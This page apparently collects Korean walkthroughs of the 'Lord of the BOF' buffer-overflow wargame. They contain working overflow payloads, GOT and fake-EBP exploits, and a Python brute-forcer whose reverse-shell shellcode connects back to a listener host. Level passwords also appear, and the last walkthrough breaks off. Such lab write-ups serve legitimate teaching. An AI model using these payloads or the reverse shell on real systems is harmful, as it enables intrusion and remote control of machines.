반응형
반응형
반응형

해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이


M4ndU




해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이입니다.


ID | dark_eyes

PW | because of you


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - hell_fire

        - Remote BOF on Fedora Core 3

        - hint : another fake ebp or got overwriting

        - port : TCP 7777

*/


#include <stdio.h>


int main()

{

        char buffer[256];

        char saved_sfp[4];

        char temp[1024];


        printf("hell_fire : What's this smell?\n");

        printf("you : ");

        fflush(stdout);


        // give me a food

        fgets(temp, 1024, stdin);


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, temp);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


이번에는 입력받은 값을 temp[1024]에 받아서 buffer[256]에 덮어쓴다. 이 문제는 remote BOF 문제라서 전 문제 풀이 방법으로는 풀 수 없다.

system함수 안에 do_system에서 execve를 호출하는 부분을 ret값으로 주면 쉘이 따와진다고 한다.


(gdb) x/12i *do_system+1119
0x75077f <do_system+1119>:      call   0x743d30 <sigprocmask>
0x750784 <do_system+1124>:      mov    0xfffffec4(%ebx),%ecx
0x75078a <do_system+1130>:      xor    %edx,%edx
0x75078c <do_system+1132>:      xor    %eax,%eax
0x75078e <do_system+1134>:      mov    %edx,0x16bc(%ebx)
0x750794 <do_system+1140>:      lea    0xffff460f(%ebx),%edx
0x75079a <do_system+1146>:      mov    (%ecx),%edi
0x75079c <do_system+1148>:      mov    %eax,0x16b8(%ebx)
0x7507a2 <do_system+1154>:      mov    %esi,0x4(%esp)
0x7507a6 <do_system+1158>:      mov    %edi,0x8(%esp)
0x7507aa <do_system+1162>:      mov    %edx,(%esp)
0x7507ad <do_system+1165>:      call   0x7a5490 <execve>


do_system+1124 는 sigprocmask함수를 call하고 난 다음명령이다. 이 주소를 리턴값으로 준다.


(python -c 'print "A"*268+"\x84\x07\x75"';cat) | nc localhost 7777


[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A"*268+"\x84\x07\x75\x00"';cat) | nc localhost 7777

hell_fire : What's this smell?

you :

my-pass

euid = 503

sign me up



참조 : http://sangu1ne.tistory.com/7?category=39356

반응형
반응형

해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이


M4ndU




해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이입니다.


ID | iron_golem

PW | blood on the fedora


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




[iron_golem@Fedora_1stFloor ~]$ cat dark_eyes.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


이번에는 sfp 변조가 막혀있어 fake EBP를 사용할 수 없다.

buffer+264 다음에 sfp인 것을 보니 buffer[256]과 dummy[8]이 있는 것 같다.

그렇지만 ret주소는 변조가 가능하고, 힌트에도 RET sleding을 사용하라고 되어 있다.

이번에도 execl함수를 사용할 것이고, 매개변수로 넘길 값을 찾아야 한다.

(gdb) b *main+3
Breakpoint 1 at 0x804840b
(gdb) r
Starting program: /home/iron_golem/dark_eyes
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804840b in main ()
(gdb) x/10wx $ebp
0xfeeb59a8:     0xfeeb5a08      0x00730e33      0x00000001      0xfeeb5a34
0xfeeb59b8:     0xfeeb5a3c      0x0070eab6      0x0083eff4      0x00000000
0xfeeb59c8:     0xfeeb59c0      0xfeeb5a08
(gdb) x/wx 0x0070eab6
0x70eab6 <fixup+150>:   0x83f0558b
(gdb) x/wx 0x0083eff4
0x83eff4 <svcauthsw+712>:       0x0083ed3c


$ebp+24인 0x0083eff4가 최하위바이트가 0x00인 0x0083ed3c을 가리키고 있다.

이 값을 파일명으로하는 쉘 프로그램을 작성하고

이 파일명를 execl함수의 매개변수로 넘겨주면 된다.
execl함수는 ebp+8에 있는 값을 매개변수로 받는다.
RET를 3번 호출하면 pop을 4번하고 execl 프롤로그에서 push ebp, mov ebp esp 해서 0x0083eff4 == ebp+8 이 될 수 있다. 

페이로드 구성이 이렇게 된다.
dummy[268](sfp도 덮어야함) + RET[4] + RET[4] + RET[4] + execl()[4]



(gdb) p execl

$1 = {<text variable, no debug info>} 0x7a5720 <execl>


execl함수의 주소는 0x7a5720이다.


쉘 프로그램을 작성하고 0x0083ed3c을 파일명으로 컴파일 한다.

[iron_golem@Fedora_1stFloor ~]$ vi sh.c
[iron_golem@Fedora_1stFloor ~]$ cat sh.c
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
        setreuid(geteuid(),geteuid());
        setregid(getegid(),getegid());
        system("/bin/sh");
}
[iron_golem@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x3c\xed\x83"'` sh.c


이제 RET주소를 가져오자

0x080484b9 <main+177>:  ret


exploit!
./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`



[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA뫈뭐?

Segmentation fault


...안된다...



(gdb) b *main+176

Breakpoint 1 at 0x80484b8

(gdb) r `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

Starting program: /home/iron_golem/dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

(no debugging symbols found)...(no debugging symbols found)...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(l萃뭐퉬


Breakpoint 1, 0x080484b8 in main ()

(gdb) x/10wx $ebp

0xfef56bc8:     0xfef56c28      0x080484b9      0x080484b9      0x080484b9

0xfef56bd8:     0xfef56c00      0x0070eab6      0x0083eff4      0x00000000

0xfef56be8:     0xfef56be0      0xfef56c28

(gdb) x/10wx $ebp-8

0xfef56bc0:     0x41414141      0x41414141      0xfef56c28      0x080484b9

0xfef56bd0:     0x080484b9      0x080484b9      0xfef56c00      0x0070eab6

0xfef56be0:     0x0083eff4      0x00000000


메모리를 확인해보니, RET까지 잘 들어갔는데 execl함수 주소가 들어가지 않았다. \x20이 문제인거 같다.


0x7a571e <execle+270>:  nop

0x7a571f <execle+271>:  nop

0x7a5720 <execl>:       push   ebp

0x7a5721 <execl+1>:     mov    ebp,esp


execl함수주소 윗부분이 nop으로 되어있기 때문에 \x20을 \x1f로 바꾸어도 상관이 없다.

다시 exploit!
./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`



[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8

澱뭐퉉z

sh-3.00$ my-pass

euid = 502

because of you



클리어!


반응형
반응형

해커스쿨 LOB FC3 [gate -> iron_golem] 풀이


M4ndU




해커스쿨 LOB FC3 [gate -> iron_golem] 풀이입니다.


ID | gate

PW | gate


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.





[gate@Fedora_1stFloor ~]$ cat iron_golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


256바이트 크기의 buffer에 값을 저장한다.

이 버퍼를 오버플로우해서 쉘을 따면 된다.


그런데 페도라 코어 3에는 메모리 보호기법들이 있다.


Stack Dummy : O

Down privileage of bash : O

Random Stack : O

Random Library : X

Random Program Binary Mapped : X

ASCII Armor : O

Non-Executable Stack : O

Non-Executable Heap : O

Stack Carany : X

Stack Smashing Protector : X


이 것들을 고려해서 문제를 풀어야 한다.



hint에 fake ebp를 사용하라고 되어 있다.


execl함수를 사용하면 된다.

sfp에 execl의 매개변수의 주소를 넣어주고, ret에 execl함수주소를 넣어주는 형태가 될 것이다.

매개변수는 got영역을 이용한다.



gdb로 버퍼 구조를 살펴보자


[gate@Fedora_1stFloor ~]$ gdb iron_golem -q

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x080483d0 <main+0>:    push   ebp

0x080483d1 <main+1>:    mov    ebp,esp

0x080483d3 <main+3>:    sub    esp,0x108

0x080483d9 <main+9>:    and    esp,0xfffffff0

0x080483dc <main+12>:   mov    eax,0x0

0x080483e1 <main+17>:   add    eax,0xf

0x080483e4 <main+20>:   add    eax,0xf

0x080483e7 <main+23>:   shr    eax,0x4

0x080483ea <main+26>:   shl    eax,0x4

0x080483ed <main+29>:   sub    esp,eax

0x080483ef <main+31>:   cmp    DWORD PTR [ebp+8],0x1

0x080483f3 <main+35>:   jg     0x804840f <main+63>

0x080483f5 <main+37>:   sub    esp,0xc

0x080483f8 <main+40>:   push   0x8048524

0x080483fd <main+45>:   call   0x80482f8 <_init+56>

0x08048402 <main+50>:   add    esp,0x10

0x08048405 <main+53>:   sub    esp,0xc

0x08048408 <main+56>:   push   0x0

0x0804840a <main+58>:   call   0x8048308 <_init+72>

0x0804840f <main+63>:   sub    esp,0x8

0x08048412 <main+66>:   mov    eax,DWORD PTR [ebp+12]

0x08048415 <main+69>:   add    eax,0x4

0x08048418 <main+72>:   push   DWORD PTR [eax]

0x0804841a <main+74>:   lea    eax,[ebp-264]

0x08048420 <main+80>:   push   eax

0x08048421 <main+81>:   call   0x8048318 <_init+88>

0x08048426 <main+86>:   add    esp,0x10

0x08048429 <main+89>:   sub    esp,0x8

0x0804842c <main+92>:   lea    eax,[ebp-264]

0x08048432 <main+98>:   push   eax

0x08048433 <main+99>:   push   0x8048530

0x08048438 <main+104>:  call   0x80482f8 <_init+56>

0x0804843d <main+109>:  add    esp,0x10

0x08048440 <main+112>:  leave

0x08048441 <main+113>:  ret

End of assembler dump.



*main+3에서 \x108만큼 스택을 할당해준다. 이는 264바이트인데 위에서 256바이트를 선언했으므로 8바이트크기의 더미가 있음을 알 수 있다. 



낮은 주소


buffer[256]

dummy[8]

SFP[4]

RET[4]


높은 주소


이런 구조로 있을 것이다.

페이로드에 264바이트의 더미를 넣어주어야 한다.



이제 got주소를 구해보자


[gate@Fedora_1stFloor ~]$ readelf -S iron_golem

There are 28 section headers, starting at offset 0x840:


Section Headers:

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                   NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4

  [ 3] .hash             HASH            08048148 000148 000034 04   A  4   0  4

  [ 4] .dynsym           DYNSYM          0804817c 00017c 000080 10   A  5   1  4

  [ 5] .dynstr           STRTAB          080481fc 0001fc 00006c 00   A  0   0  1

  [ 6] .gnu.version      VERSYM          08048268 000268 000010 02   A  4   0  2

  [ 7] .gnu.version_r    VERNEED         08048278 000278 000020 00   A  5   1  4

  [ 8] .rel.dyn          REL             08048298 000298 000008 08   A  4   0  4

  [ 9] .rel.plt          REL             080482a0 0002a0 000020 08   A  4  11  4

  [10] .init             PROGBITS        080482c0 0002c0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080482d8 0002d8 000050 04  AX  0   0  4

  [12] .text             PROGBITS        08048328 000328 0001d8 00  AX  0   0  4

  [13] .fini             PROGBITS        08048500 000500 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        0804851c 00051c 000018 00   A  0   0  4

  [15] .eh_frame         PROGBITS        08048534 000534 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        08049538 000538 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049540 000540 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        08049548 000548 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         0804954c 00054c 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        08049614 000614 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        08049618 000618 00001c 04  WA  0   0  4

  [22] .data             PROGBITS        08049634 000634 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049640 000640 000004 00  WA  0   0  4

  [24] .comment          PROGBITS        00000000 000640 000126 00      0   0  1

  [25] .shstrtab         STRTAB          00000000 000766 0000d7 00      0   0  1

  [26] .symtab           SYMTAB          00000000 000ca0 000480 10     27  44  4

  [27] .strtab           STRTAB          00000000 001120 00025e 00      0   0  1


got 주소는 0x08049618이다.

[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) x/8wx 0x08049618
0x8049618 <_GLOBAL_OFFSET_TABLE_>:      0x0804954c      0x007194f8      0x0070e9e00x00730d50
0x8049628 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e0x00000000
(gdb) x/wx 0x0804954c
0x804954c <_DYNAMIC>:   0x00000001


got의 시작주소가 0x00000001를 가리키고 있다.


값이 간단하기 때문에 이 값을 쉘코드 파일의 이름으로 한다.

그리고 sfp에는 0x08049618 가 아니라 이 값에서 -8을 한 0x08049610 값을 넣는다. 

그 이유는 execl함수가 실행되고 ebp+8에 있는 값이 첫번째 인자로 넘어가기 때문이다.



[gate@Fedora_1stFloor ~]$ vi sh.c

[gate@Fedora_1stFloor ~]$ cat sh.c

#include <stdio.h>

#include <stdlib.h>


int main(void)

{

        setreuid(geteuid(),geteuid());

        setregid(getegid(),getegid());

        system("/bin/sh");

}



권한 상승후 쉘을 띄우는 코드를 짠다.

그 후 \x01이름으로 컴파일 한다.


[gate@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x01"'` sh.c



이제 execl함수의 주소를 구해보자


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>
(gdb) x/8i 0x7a5720
0x7a5720 <execl>:       push   ebp
0x7a5721 <execl+1>:     mov    ebp,esp
0x7a5723 <execl+3>:     lea    ecx,[ebp+16]
0x7a5726 <execl+6>:     push   edi
0x7a5727 <execl+7>:     push   esi
0x7a5728 <execl+8>:     push   ebx
0x7a5729 <execl+9>:     sub    esp,0x1038
0x7a572f <execl+15>:    mov    eax,DWORD PTR [ebp+12]



execl의 주소인 0x7a5720이 ret에 들어간다. 

그러나 매개변수를 넘겨주기 위해 ebp를 변조했기 때문에 ebp의 값을 바꾸는 '함수의 프롤로그' 과정을 생략한 0x7a5723이 들어가야 한다.


이제 정확한 페이로드를 구성해 보자


dummy[264] + 0x08049610 (got) + 0x7a5723 (execl)

 


[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz

sh-3.00$ my-pass

euid = 501

blood on the fedora

sh-3.00$



클리어!


반응형
반응형




압축을 풀고 .vmx 확장자 파일을 실행하면 됩니다.


반응형
반응형


해커스쿨 LOB LEVEL20 [xavius -> death_knight] 풀이


M4ndU




해커스쿨 LOB [xavius -> death_knight] 풀이입니다.


ID | xavius

PW | throw me away

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: xavius

Password:

[xavius@localhost xavius]$ bash2

[xavius@localhost xavius]$ ls -l

total 20

-rwsr-sr-x    1 death_kn death_kn    14134 Mar 30  2010 death_knight

-rw-r--r--    1 root     root         1409 Mar 30  2010 death_knight.c

[xavius@localhost xavius]$ cat death_knight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>


main()

{

        char buffer[40];


        int server_fd, client_fd;

        struct sockaddr_in server_addr;

        struct sockaddr_in client_addr;

        int sin_size;


        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

                perror("socket");

                exit(1);

        }


        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(6666);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        bzero(&(server_addr.sin_zero), 8);


        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

                perror("bind");

                exit(1);

        }


        if(listen(server_fd, 10) == -1){

                perror("listen");

                exit(1);

        }


        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

                        perror("accept");

                        continue;

                }


                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0);

                        close(client_fd);

                        break;

                }


                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}



드디어 LOB 마지막 이네요.


소스를 보니 원격으로 쉘을 따야 하는 것 같네요.



buffer의 위치를 확인하겠습니다.


...

0x8048a02 <main+318>:   add    %esp,16

0x8048a05 <main+321>:   push   0

0x8048a07 <main+323>:   push   0x100

0x8048a0c <main+328>:   lea    %eax,[%ebp-40]

0x8048a0f <main+331>:   push   %eax

0x8048a10 <main+332>:   mov    %eax,DWORD PTR [%ebp-48]

0x8048a13 <main+335>:   push   %eax

0x8048a14 <main+336>:   call   0x804860c <recv>

...


사이에 더미는 없네요. 바로 리턴주소를 덮으면 될 것 같습니다.

포트6666으로 접속하면 되겠네요.

쉘코드는 리버스 쉘코드를 사용합니다.

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80"

IPADDR | 192.168.31.1 (\xc0\xa8\x1f\x01)
PORT | 51000 (\xc7\x38)
로 했습니다.


버퍼의 위치를 정확하게 알 수 없기 때문에 0xbfffffff부터 0xbfff0000까지 브루트포싱을 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from socket import *
from struct import *
 
 
= lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]
 
IPADDR = "\xc0\xa8\x1f\x01"
PORT = "\xc7\x38"
 
shellcode = (
 
            "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
            "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
            "\x01\x6a\x02\x89\xe1\xcd\x80\x89"
            "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
            +IPADDR+"\x66\x68"+PORT+"\x66\x53\xfe"
            "\xc3\x89\xe1\x6a\x10\x51\x56\x89"
            "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
            "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
            "\xc0\x52\x68\x6e\x2f\x73\x68\x68"
            "\x2f\x2f\x62\x69\x89\xe3\x52\x53"
            "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
            "\x80"
)
 
 
for i in range(0xFF0x00-1):
    for j in range(0xFF0x00-1):
        payload="A"*44+chr(j)+chr(i)+"\xff\xbf"+"\x90"*80+shellcode
        print "addr : " + str(hex(up(chr(j)+chr(i)+"\xff\xbf")))
        s=socket(AF_INET, SOCK_STREAM)
        s.connect(("192.168.31.129"6666))
        s.recv(52)
        s.recv(6)
        s.send(payload)
        s.close()
cs


mandu@mandu-VirtualBox:~$ nc -l -p 51000
my-pass

51000포트 열어놓고 명령어를 미리 입력해두었습니다.


mandu@mandu-VirtualBox:~/project/pytest$ python lob20.py 
(생략)
addr : 0xbffffdf1
addr : 0xbffffdf0
addr : 0xbffffdef
addr : 0xbffffdee
(생략)


기다려보면 어느순간 쉘이 연결되서 패스워드가 출력됩니다.


mandu@mandu-VirtualBox:~$ nc -l -p 51000
my-pass
euid = 520
got the life


이 패스워드로 death_knight 계정에 로그인을 하면?

login: death_knight
Password:
[death_knight@localhost death_knight]$ ls -l
total 4
-rw-r-----    1 death_kn death_kn      636 Mar 30  2010 dropped_item.txt
[death_knight@localhost death_knight]$ cat dropped_item.txt

 You're so great! This is a token to the next gate.

                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,'
                   `'

(텍스트로 긁어왔더니 찌그러졌습니다..)


몹이 아이템을 드랍했습니다!

다음은 페도라성인가요? 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL19 [nightmare -> xavius] 풀이


M4ndU




해커스쿨 LOB [nightmare -> xavius] 풀이입니다.


ID | nightmare

PW | beg for me

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: nightmare

Password:

[nightmare@localhost nightmare]$ bash2

[nightmare@localhost nightmare]$ ls -l

total 20

-rwsr-sr-x    1 xavius   xavius      13398 Mar 30  2010 xavius

-rw-r--r--    1 root     root         1019 Mar 30  2010 xavius.c

[nightmare@localhost nightmare]$ cat xavius.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

        char buffer[40];

        char *ret_addr;


        // overflow!

        fgets(buffer, 256, stdin);

        printf("%s\n", buffer);


        if(*(buffer+47) == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }


        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function

        {

                if(*ret_addr == '\xc9'){                // leave

                        if(*(ret_addr+1) == '\xc3'){    // ret

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }


        // stack destroyer

        memset(buffer, 0, 44);

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}




스택영역, 텍스트영역을 사용할 수 없고


소스를 보면, 


        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function

        {

                if(*ret_addr == '\xc9'){                // leave

                        if(*(ret_addr+1) == '\xc3'){    // ret

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }



라이브러리 영역을 필터링 하는 부분인데,
leave와 ret으로 끝나는 것들을 필터링해서 결과적으로 라이브러리 함수를 사용할 수 없게 되어 있습니다.

모든 \x40로 시작하는 주소를 막은 것은 아니죠.


입력받는 부분을 보면, argv을 사용하지 않고 fgets함수를 통해 입력을 받습니다. 아무래도 fgets함수를 사용할때 사용되는 무언가를 이용하라는 것 같습니다.

아마 그 무언가가 stdin 인 것 같습니다.


stdin은 입력값을 임시로 저장하는 임시 버퍼라고 합니다.
이 stdin을 조사해 보아야겠습니다.

[nightmare@localhost nightmare]$ mkdir tmp
[nightmare@localhost nightmare]$ cp xavius tmp/
[nightmare@localhost nightmare]$ cd tmp/
[nightmare@localhost tmp]$ gdb -q xavius
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>:       push   %ebp
0x8048715 <main+1>:     mov    %ebp,%esp
0x8048717 <main+3>:     sub    %esp,44
0x804871a <main+6>:     mov    %eax,%ds:0x8049a3c
0x804871f <main+11>:    push   %eax
0x8048720 <main+12>:    push   0x100
0x8048725 <main+17>:    lea    %eax,[%ebp-40]
0x8048728 <main+20>:    push   %eax
0x8048729 <main+21>:    call   0x8048408 <fgets>
0x804872e <main+26>:    add    %esp,12
(생략)


main+12 : push %eax | 전달되는 인자인 stdin의 주소가 넘어가네요.

fgets함수의 stdin의 주소를 확인할 수 있는 시점과 종료된 시점인 main+12과 main+26에 breakpoint를 걸어줍니다.
그리고 실행합니다.


(gdb) b *main+12
Breakpoint 1 at 0x8048720
(gdb) b *main+26
Breakpoint 2 at 0x804872e
(gdb) i reg eax
The program has no registers now.
(gdb) r
Starting program: /home/nightmare/tmp/xavius

Breakpoint 1, 0x8048720 in main ()
(gdb) DDDDDDDD
Undefined command: "DDDDDDDD".  Try "help".
(gdb) i reg eax
eax            0x401068c0       1074817216


stdin이 0x40영역에 있네요!


계속 진행해서 위 주소를 확인해봤습니다.

(gdb) c
Continuing.
DDDDDDDD

Breakpoint 2, 0x804872e in main ()
(gdb) x/50x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2288      0x40015009      0x40015009     0  x40015000
0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000      0x40015000      0x40015000     0  x40015000
0x401068e0 <_IO_2_1_stdin_+32>: 0x40015400      0x00000000      0x00000000     0  x00000000
0x401068f0 <_IO_2_1_stdin_+48>: 0x00000000      0x00000000      0x00000000     0  x00000000
